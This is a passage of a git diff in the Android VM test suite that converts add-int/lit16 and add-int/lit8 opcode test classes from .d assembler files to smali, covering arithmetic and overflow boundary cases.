-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_17.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit16 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali
new file mode 100644
index 0000000..e6cf84e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d
deleted file mode 100644
index d80497f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_2.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 255
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali
new file mode 100644
index 0000000..c0962a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 255
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d
deleted file mode 100644
index 3a9009d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_3.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali
new file mode 100644
index 0000000..72b316c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d
deleted file mode 100644
index 141d546..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_4.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483647
-       add-int/lit16 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali
new file mode 100644
index 0000000..7a58956
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d
deleted file mode 100644
index 54f42ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_5.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0x7ffffffe
-       add-int/lit16 v0, v1, 2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
index f22579d..626c867 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
@@ -18,6 +18,7 @@
 
 public class T_add_int_lit16_5 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 0x7ffffffe + 2;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali
new file mode 100644
index 0000000..faa40c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit16 v0, v1, 2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d
deleted file mode 100644
index b103f66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_6.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali
new file mode 100644
index 0000000..e202138
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d
deleted file mode 100644
index b4d689f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_7.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali
new file mode 100644
index 0000000..67dcecd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d
deleted file mode 100644
index e1aa77e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_8.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit16 v0, v1, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali
new file mode 100644
index 0000000..9d7910c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d
deleted file mode 100644
index 74d8cc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_9.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali
new file mode 100644
index 0000000..33923b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d
deleted file mode 100644
index 5286f6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_1.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 8
-       add-int/lit8 v0, v1, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali
new file mode 100644
index 0000000..0af2524
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit8 v0, v1, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d
deleted file mode 100644
index 9ef34ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_10.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali
new file mode 100644
index 0000000..d9a2d13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d
deleted file mode 100644
index 88c76b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_11.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali
new file mode 100644
index 0000000..b721faa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
